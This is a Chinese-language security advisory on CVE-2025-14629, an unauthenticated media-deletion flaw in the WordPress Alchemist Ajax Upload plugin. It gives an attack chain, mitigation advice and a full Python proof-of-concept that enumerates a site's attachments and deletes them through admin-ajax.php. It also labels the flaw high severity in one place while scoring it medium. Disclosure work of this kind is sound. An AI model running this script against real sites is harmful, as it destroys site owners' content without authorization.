IPBUF安全漏洞报告
English
CVE-2025-14629 CVSS 5.3 中危

CVE-2025-14629 WordPress Alchemist Ajax Upload插件未授权文件删除漏洞

披露日期: 2026-01-24

漏洞信息

漏洞编号
CVE-2025-14629
漏洞类型
访问控制/权限绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Alchemist Ajax Upload插件

相关标签

访问控制绕过权限检查缺失未授权操作文件删除WordPress插件漏洞AJAX安全CVE-2025-14629Alchemist Ajax Upload

漏洞概述

CVE-2025-14629是WordPress平台Alchemist Ajax Upload插件中的一个高危安全漏洞。该插件是一款用于WordPress的AJAX上传工具,允许用户通过异步方式上传媒体文件。然而,由于该插件在实现文件删除功能时缺少适当的能力检查(capability check),导致任何未经身份验证的用户都可以调用delete_file函数,删除服务器上任意WordPress媒体附件。

该漏洞的危险性在于它不需要任何认证,攻击者可以直接通过发送特制的HTTP请求来触发删除操作。攻击者可以利用此漏洞删除网站的关键媒体文件,包括图片、文档、视频等附件资源,这可能导致网站内容丢失、页面显示异常、SEO影响等一系列问题。在某些场景下,如果攻击者删除的是主题或插件依赖的关键资源,甚至可能导致整个网站功能受损。

该漏洞影响该插件的所有版本直至1.1版本。由于CVSS评分为5.3(中等严重程度),且攻击复杂度低、无需权限和用户交互,因此在实际环境中容易被利用。网站管理员应尽快采取修复措施,避免遭受恶意攻击。建议立即检查网站是否存在此插件,并评估是否需要继续使用或寻找替代方案。

技术细节

该漏洞的根本原因在于WordPress插件开发过程中对AJAX端点的安全实现存在缺陷。在WordPress中,AJAX处理程序通常使用wp_ajax_和wp_ajax_nopriv_前缀来注册,其中wp_ajax_要求用户登录,而wp_ajax_nopriv_允许未登录用户访问。

Alchemist Ajax Upload插件的delete_file函数被注册为未认证可访问的AJAX端点,且该函数直接接收用户提交的参数(如文件ID或文件路径),而没有进行权限验证。WordPress的delete_attachment等函数本身是安全的,需要适当的权限检查,但插件直接调用这些函数时绕过了权限验证机制。

攻击者只需要构造一个POST请求到wp-admin/admin-ajax.php端点,设置action参数为插件定义的删除操作,并提供目标文件的标识符(通常是附件ID)。由于缺少current_user_can()检查,任何人都可以执行此操作。服务器会直接执行文件删除操作,将指定的媒体文件从uploads目录中物理删除,同时从数据库中移除相关记录。

防御此类漏洞的关键是在所有涉及数据修改的AJAX处理函数中,始终使用current_user_can()或current_user_can_for_blog()进行权限验证,确保只有具有适当权限的用户才能执行敏感操作。

攻击链分析

STEP 1
步骤1
攻击者发现目标网站使用Alchemist Ajax Upload插件(<= 1.1版本),通过插件指纹识别或公开信息确认
STEP 2
步骤2
攻击者通过WordPress REST API(/wp-json/wp/v2/media)枚举网站的所有媒体附件,获取附件ID列表
STEP 3
步骤3
攻击者构造恶意HTTP POST请求,发送到/wp-admin/admin-ajax.php端点,设置action参数为'alchemist_delete_file',file_id参数指向目标附件ID
STEP 4
步骤4
由于插件缺少权限检查,服务器直接执行delete_file函数,调用WordPress的delete_attachment删除指定文件
STEP 5
步骤5
目标媒体文件从服务器文件系统中物理删除,同时数据库中的wp_posts和wp_postmeta记录被移除
STEP 6
步骤6
攻击者可重复此过程删除任意数量的媒体文件,导致网站内容丢失、功能异常

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-14629 PoC - Unauthenticated Arbitrary File Deletion # Target: WordPress Alchemist Ajax Upload Plugin <= 1.1 def delete_media_attachment(target_url, attachment_id): """ Delete arbitrary WordPress media attachment without authentication Args: target_url: Base URL of the WordPress site attachment_id: ID of the media attachment to delete Returns: Response from the server """ ajax_endpoint = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Construct the deletion request data = { 'action': 'alchemist_delete_file', # Plugin's AJAX action 'file_id': str(attachment_id) # Attachment ID to delete } try: # Send POST request without authentication response = requests.post(ajax_endpoint, data=data, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def enumerate_attachments(target_url): """ Enumerate available media attachments via REST API Args: target_url: Base URL of the WordPress site Returns: List of attachment IDs """ rest_endpoint = f"{target_url.rstrip('/')}/wp-json/wp/v2/media?per_page=100" try: response = requests.get(rest_endpoint, timeout=10) if response.status_code == 200: attachments = response.json() return [(att['id'], att['source_url'], att['title']['rendered']) for att in attachments] except: pass return [] def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-14629.py <target_url> <attachment_id>") print("Example: python cve-2025-14629.py http://example.com 123") sys.exit(1) target = sys.argv[1] attachment_id = sys.argv[2] print(f"[*] CVE-2025-14629 - Alchemist Ajax Upload Unauth File Deletion") print(f"[*] Target: {target}") print(f"[*] Attachment ID to delete: {attachment_id}") # First, enumerate attachments if no specific ID provided if attachment_id == 'enumerate': print("\n[*] Enumerating media attachments...") attachments = enumerate_attachments(target) if attachments: print(f"[+] Found {len(attachments)} attachments:") for att_id, url, title in attachments: print(f" - ID: {att_id}, Title: {title}, URL: {url}") else: print("[-] No attachments found or enumeration failed") return # Attempt to delete the specified attachment print(f"\n[*] Attempting to delete attachment {attachment_id}...") response = delete_media_attachment(target, attachment_id) if response: print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text[:500]}") if response.status_code == 200: print("[+] Deletion request sent successfully") else: print("[-] Unexpected response") if __name__ == "__main__": main()

影响范围

Alchemist Ajax Upload plugin <= 1.1 (所有版本)

防御指南

临时缓解措施
在官方修复版本发布之前,可以采取以下临时缓解措施:1) 暂时禁用Alchemist Ajax Upload插件,使用WordPress内置媒体上传功能;2) 通过Web应用防火墙(WAF)规则阻止针对/admin-ajax.php的异常删除请求;3) 限制/wp-admin/admin-ajax.php的访问来源;4) 定期备份网站文件和数据库,以便在遭受攻击后快速恢复;5) 监控服务器文件系统的异常变更,及时发现未授权的文件删除行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表